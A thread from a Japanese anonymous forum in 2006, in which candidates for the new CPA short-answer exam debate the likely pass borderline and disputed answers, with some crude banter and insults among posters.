322 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:19:41 ID:???
俺も4000かな

323 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:20:42 ID:???
資格取得までの勉強時間リスト一覧(能力・下地で個人差あり)

 日商簿記4級 10時間
 介護福祉士 50時間 (受験資格要)
 ファイナンシャルプランニング3級技能士 50時間
 国内旅行業務取扱主任者 75時間 
 初級システムアドミニストレータ 100時間 
 東商福祉住環境コーディネーター2級 100時間
 社会福祉士100時間 (受験資格要)
 日商簿記2級 300時間 (いつでも需要がある) 
 第1種電気工事士 300時間
 基本情報技術者 300時間 (情報処理技術者試験系の最下位資格)
 宅地建物取引主任者 350時間 (法律系初学者向け)
 海事代理士 350時間 (傾向対策後の最小時間は270時間程度)
 ソフトウェア開発技術者 350時間 
 システム監査技術者 350時間
 上級システムアドミニストレータ 400時間
 ファイナンシャルプランニング1級技能士 400時間(受験資格要)
 情報セキュリティアドミニストレータ 450時間
 インテリアコーディネーター 450時間 (女性に1番人気)
 日商簿記1級 800時間 (税理士への登竜門・適正がある)
 システムアナリスト 1000時間
 社会保険労務士 1000時間 (7人中1人しか顧問企業を持っていない)
 テクニカルエンジニア・エンベデッドシステム 1500時間
 中小企業診断士 1300時間 (適正によって時間差が大きい)
 1級建築士 1500時間 (受験資格要)
 行政書士 2000時間 (合格率は3%前後)
 公認会計士 6000時間 (H18年までに4倍増)
 司法書士 6000時間 (合格者の4割は登録せず)
 税理士 7000時間  (科目合格制あり)
 弁理士 7000時間 (理系院卒研究実務者以外は辛し、理系の最高資格)
 司法試験 20000時間 (6000時間での合格者もいる。文系の最高資格)

324 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:20:57 ID:???
不動産鑑定士試験の短答式の合格率を流用すると、4000人くらいが合格者数だと
いうことになる。

325 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:21:03 ID:IngePkbc
ID晒し投票 合格者数編
6000:☆
5500:
5000:
4500:
4000:☆
3500:☆
3000:


326 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:23:21 ID:???
>>324
鑑定士は人足りてるから会計士の参考にはならないな。

327 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:25:20 ID:???
>>321
科目別平均では免除の影響は関係ないよな?
リサーチ平均に比べて監査12管理12は低すぎないか?

328 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:26:27 ID:???
問題13はどう考えても 3だな。

329 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:28:33 ID:???
問題14 2になる要素なくない?
オを間違いとしたレックはどんな根拠なの?

330 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:29:24 ID:???
>>327
まぁ低すぎる気はするがなw


331 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:29:48 ID:???
上位30%弱が合格だっていう説がある。
それくらいないと、最終合格8%は適切に算定されないらしい。

332 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:30:40 ID:???
TACて最大手という以外大したことなくね?
ほぼ毎年解答外してるし、ボーダー予想も他校と比べていまいちピントずれてるし。

333 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:33:05 ID:???
問題19オレ1だけど、3のような気がする

オの文書は監査基準と違うけど いっていることは当たっているし

334 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:34:17 ID:???
>>332
最大手だからこそ冒険できるんだよ


335 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:34:17 ID:???
司法試験すさまじいな
会計士の勉強時間の3倍か

336 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:34:54 ID:???
ボーダーは タックのいうとおり 76

337 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:35:26 ID:???
>>333
監査に関してはAXLの解答を参照しろ。
エージは外したことがない。

338 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:36:37 ID:???
財会は4でいいよな?

339 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:38:01 ID:???
監査19は1が1番人気で、3が4番人気
1じゃなくても1の人は痛くない

340 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:38:49 ID:???
で結局2chボーダーが73で
対抗馬が70でいい?
とすると70〜73でボーダー決まりかな?

341 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:39:39 ID:???
問題13 3 問題14 1だ かけてもいい

342 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:39:56 ID:???
ぶっかけ?

343 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:42:50 ID:soFvlFUg
俺の友達は69でドイツに行っちゃったよ。
今年はダメだ、って言い残して。

344 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:42:56 ID:???
>>341
それなら俺90いっちゃうよw
1点1万円で売れないかな〜?

345 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:43:40 ID:???
>>343
どっちもだめだったな。

346 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:44:13 ID:???
>>344
3年後のために大事に取っとけ。

347 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:46:05 ID:???
合格者4000人になるって予想が強いから72が実質ボーダーかな?
2CHボーダーマイナス1ってとこか。

348 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:48:45 ID:???
はい、少数派解答の論拠まとめね。

監査13
ア:監査リスクは常に社会的要請に基づく低い水準でなければ
  ならない。アの肢では「個々のケースにおいて職業的専門家
  として判断する」とあり、個々のケースという表現が、監査人が
  合理的に低いと判断すれば、社会的要請より高くできると
  読み取れるから×。 
ウ:発見リスクを高くすることができるという規定はあるが、
  適度な監査手続を実施できるという規定はない。
  監査の有効性を追及するためには、同時に効率性を
  追求しなければ、適切な資源配分ができないので○。

監査14
エ:@監査基準委員会報告書で「特定の勘定や取引等に関して
  重要性の基準値を小さくして」という表現があり、基準値と
  値の区別はあいまい。Aそもそも、重要性の値は勘定や取引
  レベルに落とされた重要性の基準値に他ならない。
  よって、×というには無理があり、○。
オ:意見表明時の判断は、必ずしも、監査計画策定に際して決定した
  重要性の基準値に関連付けて行われるとは限らず、改訂される
  こともある。よって、×。

349 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:48:54 ID:???
>>346
短答がこんなに簡単とは思わなかったから今年落ちたら来年も短答受けるよ
そういえば短答免除使わなくて論文科目免除申請ってできるのかな?

350 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:51:37 ID:???
もう一回受けたら5,6点なんか平気で上下しそう

351 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:53:56 ID:???
問題14はサブライズなし問題13も。
怖いのは問題19 管理 3

352 :348:2006/07/04(火) 16:54:57 ID:???
監査13がTACの論拠。
監査14がLECの論拠だから。
おれが勝手に考えたやつじゃないよw

353 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:56:29 ID:???
>>351
サプライズなしと信じたいだけでしょ?
>>348の各校の論拠に反論できる?

354 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:57:50 ID:???
あのさ、仮にボーダー66、6000人なんてなったらどう思う?
俺は去年落ちて頑張ってきたのに悲しくなるわ

355 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 16:59:54 ID:???
>>354
つヒント:去年、旧試験。今年、新試験。

356 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:05:24 ID:???
>>351
俺もそう思う。監査14は臭いけど、問題はそこじゃなくて後半の「質的〜」
とかなんとかを引っ掛けたかったんだと思う。監査13はどう考えても3。
管理3と監査19は闇。

357 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:08:32 ID:???
>>356
監査14で「質的〜」を引っ掛けたかったと思うってのはあくまで、
予想であって、合理的な根拠はないよ。
監査13はなぜ、どう考えても3なの?

358 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:12:14 ID:???
ボーダー予想  講師予想
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?


359 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:13:22 ID:???
>>357
ARは監査人が決めるものじゃない。
適度な監査手続きは許容されるもの。強制されるものではない。
反論あるか?

360 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:13:35 ID:???
>>357
マンコ好き?

361 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:13:37 ID:???
71 :ナナシマさん :04/08/25 20:26 ID:IHGMk+l+
346 :U-名無しさん :04/08/07 01:49 ID:fJAIxM0S
>>341
韮崎高校が進学校というのは中田がいたから広まったデマです。
偏差値45くらいです。
国立行けばたとえ山梨大でもヒーローになれます。
清水東や藤枝東は東大合格者がでますが、韮崎では
東洋大とか東海大とか東農大とか略して東大しかいません。
開校いらい東京大学合格者いませんから。マジで。


362 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:13:59 ID:???
>>358
こうやってみるとボーダー予想として出している数値は従来の人数基準だな
講師予想は合格者増を見込んだ数値だろうな?主観があるので、公的に出せないということか
タックの修正文言も似たようなこと言っていたしな

363 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:14:52 ID:???
>>358
それでもタックが外しているのがw
あそこは大丈夫か?

364 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:15:32 ID:???

ARは監査人が決めるもの。

適度な監査手続きは許容されるもの。強制されるものではない。
反論あるか?


365 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:15:54 ID:???
TACの76が輝いてるなw
リサーチで必死に否定してたが

366 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:16:01 ID:???
ジョーは酒場で論理学の教授と知り合った。

「論理学ってのはどういったもんですか?」
「やって見せましょうか。お宅には芝刈機があります?」
「ありますよ」
「ということは、広い庭があるわけですね?」
「その通り!うちには広い庭があります」
「ということは、一戸建てですね?」
「その通り!一戸建てです」
「ということは、ご家族がいますね?」
「その通り!妻と2人の子供がいます」
「ということは、あなたはホモではないですね?」
「その通り!ホモじゃありません」
「つまりこれが論理学ですよ」
「なるほど!」
深く感心したジョーは、翌日友人のスティーブに言った。
「論理学を教えてやろう。君の家には芝刈機があるか?」
「いや。ないよ」

367 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:16:25 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?



368 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:16:25 ID:???
>>359
監査13アはARを監査人が個々のケースにおいて判断って
いってんだから、監査人が決めるって読めない?
だったら、×じゃん。

適度な監査手続は許容されるものっての根拠はどこにあるの?

369 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:16:35 ID:???
>>358
TAC講師予想は74〜76

370 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:17:03 ID:???
>>365
確かにタックの76は輝いている
思いっきりリサーチで否定していたのもw

371 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:17:20 ID:???
>>359
マンコ好き?

372 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:17:49 ID:???
人数増で座談会の数値がボーダーか・・

373 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:18:19 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




374 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:19:14 ID:???
TACは74〜76といってそれをリサーチで否定した。
よって2chボーダー73が濃厚になってきたな。

375 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:22:37 ID:???
マンコ好きか答えろや!
嫌い奴らとはボーダー語りたくないわ

376 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:24:45 ID:???
好き。

377 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:25:10 ID:???
>>364
ARは社会的要請に基づいて決まるってのは
TACも野坂も言ってるよ。

378 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:25:18 ID:???
ボーダー72で決定らしいぞ。

379 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:26:02 ID:???
いまさらボーダー議論してなんになる?

380 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:26:59 ID:???
社会的には監査リスク10%とかあるの?
結局社会的要請に基づいて監査人が決めるしかないと思うがね…。

381 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:29:20 ID:???
財会の疑義は2だと思うが‥

382 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:30:01 ID:???
>>376
そうか。
ありがとう。


383 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:34:24 ID:???
ボーダー一括で出すのかね?
前電話で聞いたらお答えできませんといわれたから、
どうするのか決まってないのかな?

384 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:35:39 ID:???
>>380
そう、社会の要請に基づいて監査人が判断する。
しかし、それは「個々のケース」において監査人が判断するのでは
ない。なぜなら、現在において要求されるARの水準は
何個もあるものではないのだから。そう考えると、結局ARは
監査人が決めているのではなくて、社会の要請によって
決められているといえる。

385 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:38:30 ID:???
>>381 同意。

386 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:39:47 ID:???
>>385
自演乙

387 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:40:42 ID:???
>>383
俺には一括ですって答えたてたよ
人によって対応ちがうのかい。

388 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:42:33 ID:???
財界は2だと思う

389 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:43:35 ID:???
>>384
監査人はARを社会的要請に基づいた合理的に低い水準にする義務があるから
自らの判断で決めてもOKじゃないの?

390 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:44:46 ID:???
>>384
ということはARについて期待ギャップは理論的には存在しないってこと?


391 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:45:06 ID:???
>>387
一括なら来年から簿財狙う奴増えるだろうな。

392 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:48:26 ID:???
>>388
そうかもしれない。会社法ベースで答えるのは企業法だけだし 他の科目は旧商法ベース よって2が確率としては高い。

393 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:50:56 ID:???
>>389
ようは、「個々のケース」っていう表現をどうとらえるか
だよな。個々のケースにおいて判断すると、ARが上にも下にも
ぶれる可能性があるようにも読み取れるよな。
ARは常に合理的に低い水準にしなければならないんだから、
低い水準で一定でしょ?一定のものに対して「個々のケース」
という表現が妥当なのかどうかが問題なんだよな。

394 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:51:53 ID:???
>>392
そうなのか?じゃあなぜ専門学校ではそう教えなかったのか。

395 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:55:18 ID:???
いいじゃん、どっちにしろ受かってるよ。


396 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:56:39 ID:???
>>392
旧商法ベースでも予備校の解答と同じだろ。
おれは新会社法ベースの解き方知らないけど、
普通に4になったぞ。

397 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:59:04 ID:???
>>396
予備校が実務指針を見落としてた可能性が高い。偶然2を選んだ奴が最後に笑うストーリーと思われ

398 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 17:59:26 ID:???
新株予約権計上するの忘れて1になりますたorz

399 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:00:11 ID:???
あと15時間です。

400 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:00:33 ID:???
>>397
じゃあ予備校のテキスト自体が間違ってたっていうの?


401 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:02:03 ID:???
>>400
そうかもしれない。

402 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:03:30 ID:???
>>398
おまえあきらめたほういいよ
おれの周り33点以下全然いないから

403 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:04:33 ID:???
手紙って明日合格者の人だけに来るの?

404 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:05:32 ID:???
>>403
あさって合格者だけに届く。
ダメだった人は07目標上級コースのパンフが届く。

405 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:05:47 ID:???
>>403
明日か明後日に合格通知書が来る。
不合格者は何もない。

406 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:06:55 ID:???
タンポ〜ン♪
書留で〜す!

407 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:07:54 ID:???
>>401
ソースは? どの実務指針?

408 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:09:38 ID:???
>>407
実務対応報告第16号 

会社法による新株予約権及び新株予約権付社債の会計処理に関する実務上の取扱い



409 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:10:43 ID:???
誰か計算式かいてよ
いまだになぜ2になるのかわからん

410 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:10:58 ID:???
>>408
「会社法による」って書いてあるけど旧商法に適用されるの?

411 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:12:13 ID:???
>>410
Q3に旧商法の規定が紹介されてる。
ICOのHP見れ。

412 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:13:00 ID:???
疑義は多数派で決まって、割れてないところでサプライズがおきる。
それが・クォリティです。

413 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:13:01 ID:???
>>404
>>405
どーもです。
明日、合格番号見るしかないか、怖いけど・・・

414 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:17:52 ID:???
ゆうべねむれなくていまねむくなりました
いまからねてさっかーのじかんにおきようとおもいます
おやすみなさい

415 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:18:42 ID:???
財会5がサプライズか?

416 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:21:05 ID:???
イコ調子に乗るな

417 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:21:56 ID:???
実務指針読んだけどよくわかんねぇやw
まぁ財5を2にしたやつはICOの奴か、
勉強不足のやつだろ?
財5を偶然2にするようなやからは、簿記で
失敗している可能性高いんでないか?

418 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:24:05 ID:???
2年免除だし今年はボーダーで受かるとお得な感じだな。

419 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:24:50 ID:???
実務指針で明文されている以上、ICOの主張も無視できないな。
どうやったら2になるのか、実務指針読んでもわからんが。

420 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:25:10 ID:???
明日の今頃は、ヤケ酒か・・・自習中か・・・

421 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:25:24 ID:???
財務5  2を選んだ人12%   4を選んだ人60%

422 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:27:33 ID:???
>>419
ICOが実務指針を間違って解釈してんじゃねぇ?w
こんだけ簿記講師がいて、なんでICOの簿記講師だけ
この規定知ってんだ?他の疑義は解釈の問題なのに
対して、これだけ規定そのものが知られてなかったって
不自然じゃね?

423 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:28:07 ID:???
埋没か

424 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:28:14 ID:???
なんだ疑義問の受験生の解答状況みたけど
多数派が圧倒的に少数派引き離してるジャン
おk

425 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:29:42 ID:???
疑義はどれも多数派で決まりますように。

426 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:30:01 ID:???
よし!
今日の半井さんのブラが透けてたら、ボーダー67!!

427 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:31:47 ID:???
なからいさんより土日の人のほうが好きだ。

428 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:37:46 ID:???
リサーチでみれば、リサーチには比較的できのいいやつが
提出するから、少数派と多数派で解答割合の差が大きいけど、
全体でみたら、その差はもう少し小さいんだろね。

429 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:37:49 ID:???
>>425
おれもそう思う
おれもそう思う

430 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:39:10 ID:???
>>428
そうだね

で、できのいいやつが比較的おおいから
多数派解答であってる可能性は高いね

431 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:39:45 ID:ZiwN+bYb
合格者数は3751人から3999人ですよ!!

432 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:40:16 ID:???
あと860分。

433 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:40:22 ID:???
もう74でいいや

434 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:46:11 ID:???
得点基準により短答合格者が大幅に変動云々って書いてるから70で切ってくると思う。

435 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:47:13 ID:???
>>434
おれもそう思う
おれもそう思う

436 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:50:43 ID:???
ボーダーが気になるやつは今から寝ろ!
あら不思議!14時間寝ればまさにその時!


437 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 18:55:10 ID:???
>>434
だからそれは人数基準にすると来年以降おかしくなるからだよ


438 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:00:45 ID:???
>>427
おれもそう思う
おれもそう思う


439 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:16:42 ID:???
>>437
最後まで希望を持ちたい馬鹿がいるんだよ
めちゃくちゃ簡単だったのにな(´・ω・`)

440 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:18:13 ID:???
>>439
それは君がヴェテだからだろ。
何年も多く勉強してるんだからそりゃあ簡単に感じるんだろうな。

441 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:23:24 ID:???
お前ら全員不合格
高度な人格を有してないから

442 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 19:26:53 ID:???
>>398
俺も。しかもボーダー線上だからやるせない。

443 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:28:35 ID:???
ちゃーらっ

へっちゃら

444 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:29:57 ID:???
>>441
無職ニートに言われてもな。。。

445 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:30:25 ID:???
>>441
やだ

446 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:35:29 ID:???
試験科目のひとつに「2ちゃんねるへの書き込み」ってのがあったら、
このスレは励ましと夢と希望で満ち溢れてるんだろうなw


447 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:35:43 ID:???
bakaどもやな

ボーダー70ピッタリに決まってるだろ。間違いない、。
リサーチ見ても、金融庁の文言見ても、講師の話聞いても、
あらゆる観点から間違いない。
おめーら明日、自分のセンスのなさに嘆けよ

448 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:37:26 ID:???
>>444
ニートの意味を理解してから出直してこい

449 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:39:15 ID:???
>>448
俺は>>444ではないが実質基準と形式基準があるからなあ・・
俺は近所からは完全にニート扱いだわ・・

450 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:39:21 ID:???
あおりなしでぼーだー68が妥当だと俺はおもう

451 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:40:22 ID:???
>>448
知ってるよ〜。
君は勉強もしてないネラーなんっしょ?
違うのかい?
明日合格してるといいね。家族のためにもww

452 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:43:20 ID:???
専門学校生=実質ニートだしな。
俺卒1実家暮らしだけど、世間に姿さらさないように、朝一で予備校いって夜遅くに帰宅してる。
まして2ちゃんに張り付いてるのなんて認定ニートだよ。

453 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:43:34 ID:???
>>451
ありがとう。
でも無職ニートって言い方は頭痛が痛いって言ってるようなもんだからやめた方がいいよ。ネタだったんならごめんなさい><

454 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:43:58 ID:???
>>447
ボーダー当てるセンスはないかもしれんが点数では負けてないからOK

455 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:45:19 ID:???
>>453
だって響きがいいじゃん。
むしょくにーとってラップ調でいうと楽しいじゃん。
無職ニート!無職ニート!チェケラー。みたいな。

456 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:46:16 ID:???
監査19は4にしたんだが
監査14は2
管理3は4
いずれも正解の可能性は低いが
期待はしとる

457 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:46:40 ID:???
>>453
そういうとこついてくるのって基準値と値の違いみたいなどうでもいいことだよな。



458 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:48:32 ID:???
ベテじゃなくても今回の問題なら簡単に感じます
自分の頭の悪さをベテで片付けないように


459 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:49:17 ID:???
監査14はサプライズな気がする
のいすぎる

460 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:49:56 ID:???
>>440
馬鹿が何言ってんの?
おれは3回目だが確かに。
でも90点だからいいだろ?
ベテ分を差し引いても80はとれるよ
馬鹿じゃなければ

461 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:50:41 ID:???
難易度はトータルしたら去年とかわらんよ
免除者は財務ないから易しいがな

462 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:52:34 ID:???
>>461
難易度自体も去年より簡単だと思うし、
時間制限とか日程とか、全然違うと思うんだが。

463 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:53:19 ID:???
昨日のおばかさんの74点君は今日来ないのかな?
昨日叩かれすしてたしこないのかもな。

464 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:53:37 ID:???
てかベテっつっても
かなり新しくなったしな各科目。
自分が馬鹿なのを初年度だからってことにしちゃいかんな

465 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:53:38 ID:???
>>462
彼は財務ないやつといってるが

466 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:53:57 ID:???
>>460
しかし二回も既に落ちている事実
3回目90<<<1回目ぎりぎり合格

467 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:54:36 ID:???
実質68じゃない?

468 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:55:02 ID:???
>>462
それは君がヴェテだからだろ。
ヴェテが簡単とか言っても「そりゃあお前はナ」とか思える。


469 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:55:20 ID:Yghlf3jx
>>466確かにそのとおり

470 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:55:37 ID:???
>>466
論点を変えるな
おれは1年目は42だ。2年目は受けてない。
おまえが馬鹿なのを認めろ雑魚が。

471 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:55:51 ID:???
喉元過ぎれば熱さ忘れる

472 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:56:11 ID:???
nananana

473 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:56:48 ID:???
てか2回も落ちてるのによく続けようと思うよな。
就職にしたほうがずっといいのに。
今なら簡単にいいとこはいれるだろ。
それとも年齢的に就職は無理なのか?
そこんとこどうなの?

474 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:57:09 ID:???
ここのバカ達はベテに負けることを前提に話てるのか?
そのベテに勝てなきゃ最終的には受からないわけだが

475 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:57:15 ID:???
点取った奴=ベテってどんなけ友達いないんだよw
釣りで言ってる奴はともかく、
一匹マジで書いてるのがいるなw


476 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:57:37 ID:???
>>463
74君ではなくて66〜70君の間違いではないか?

477 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:57:48 ID:???
仲良くいこうや

478 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:57:50 ID:???
>>470
きみのまけだよ
なにをいっても
君ははったりにしかきこえないよ
まわりみんなきずいてるよ

479 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:58:01 ID:???
>>442
398だけどおれもだ。こんな馬鹿なミスやってるからボーダー上なんだよなorz

480 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:58:16 ID:???
>>470
君って
以前も現れて受験2回目遊んで、
全答練2桁だった3回目君?
張り付きすぎww

481 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:58:29 ID:???
てか2ちゃんボーダーって74だろ?

482 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:58:34 ID:???
>>478
さんくす

483 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:59:20 ID:???
>>473
まだ卒1だから大丈夫だけどな。
1発はなかなか難しいぞ。
まぁお前らもそのうちわかるよ。

てか普通に就職したくないそもそも。
なんで会社員なんかになりたいんだよ

484 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 19:59:30 ID:???
>>478
×きずいてるよ
○きづいてるよ

小学校からやりなおせ!

485 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:00:11 ID:???
>>480
そう例の彼
彼は相手にしないほうがいいよ

486 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:00:33 ID:???
478がばかだった件について

487 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:00:45 ID:???
>>480
おまえもな

488 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:00:46 ID:???
>>473
逆だろw
落ち続けて会計士に受からざるをえないのはよくある話だが
新卒天国の状況であえて会計士目指す方が珍しい。

489 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:01:07 ID:???
>>484
あげあしありがとう
ただの変換ミスです

490 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 20:01:47 ID:???
>>483
>普通に就職したくない

何様だよ。自分は特別だとも思ってるの?

2回落ちておいてよく言うぜ。

